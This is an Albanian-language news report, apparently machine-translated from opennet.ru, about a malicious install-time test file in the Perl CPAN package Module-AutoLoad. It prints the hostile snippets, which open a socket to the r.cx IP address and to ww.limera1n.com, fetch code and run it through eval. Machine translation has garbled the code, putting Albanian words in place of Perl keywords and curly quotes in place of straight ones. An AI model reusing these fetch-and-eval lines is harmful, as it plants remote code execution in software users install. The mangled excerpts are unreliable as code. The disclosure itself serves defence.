U zbulua kod keqdashës në paketën Module-AutoLoad Perl

Në një paketë Perl të shpërndarë përmes drejtorisë CPAN Moduli-Autoload, i projektuar për të ngarkuar automatikisht modulet CPAN në fluturim, identifikuar kod me qëllim të keq. Futja me qëllim të keq ishte gjetur në kodin e testimit 05_rcx.t, e cila ka nisur që nga viti 2011.
Vlen të përmendet se pyetjet në lidhje me ngarkimin e kodit të dyshimtë u ngritën në StackOverflow në vitin 2016.

Aktiviteti keqdashës zbret në një përpjekje për të shkarkuar dhe ekzekutuar kodin nga një server i palës së tretë (http://r.cx:1/) gjatë ekzekutimit të një grupi testimi të nisur gjatë instalimit të modulit. Supozohet se kodi i shkarkuar fillimisht nga serveri i jashtëm nuk ishte me qëllim të keq, por tani kërkesa është ridrejtuar në domenin ww.limera1n.com, i cili ofron pjesën e tij të kodit për ekzekutim.

Për të organizuar shkarkimin në një skedar 05_rcx.t Përdoret kodi i mëposhtëm:

$prog im = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Kodi i specifikuar bën që skripti të ekzekutohet ../contrib/RCX.pl, përmbajtja e së cilës reduktohet në rreshtin:

përdorni lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Ky skenar ngarkohet i hutuar duke përdorur shërbimin perlobfuscator.com kodi nga hosti i jashtëm r.cx (kodet e karaktereve 82.46.99.88 korrespondojnë me tekstin "R.cX") dhe e ekzekuton atë në bllokun eval.

$ perl -MIO::Socket -e’$b=new IO::Socket::INET 82.46.99.88.”:1″; print ;'
eval shpaketo u=>q{_<‘)I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Pas shpaketimit, në fund ekzekutohet sa vijon: kod:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warn$@while$b;1

Paketa problematike tani është hequr nga depoja. PAUSE (Serveri i ngarkimit të autorëve të Perl), dhe llogaria e autorit të modulit është e bllokuar. Në këtë rast, moduli mbetet ende në dispozicion në arkivin MetaCPAN dhe mund të instalohet drejtpërdrejt nga MetaCPAN duke përdorur disa shërbime të tilla si cpanminus. Vihet rese paketa nuk u shpërnda gjerësisht.

Interesante për të diskutuar lidhur dhe autori i modulit, i cili mohoi informacionin se kodi keqdashës ishte futur pasi u hakerua faqja e tij "r.cx" dhe shpjegoi se ai thjesht po argëtohej dhe përdori perlobfuscator.com jo për të fshehur diçka, por për të zvogëluar madhësinë. të kodit dhe thjeshtimi i kopjimit të tij nëpërmjet clipboard-it. Zgjedhja e emrit të funksionit "botstrap" shpjegohet me faktin se kjo fjalë "tingëllon si bot dhe është më e shkurtër se bootstrap". Autori i modulit siguroi gjithashtu që manipulimet e identifikuara nuk kryejnë veprime me qëllim të keq, por vetëm demonstrojnë ngarkimin dhe ekzekutimin e kodit përmes TCP.

Burimi: opennet.ru

Shto një koment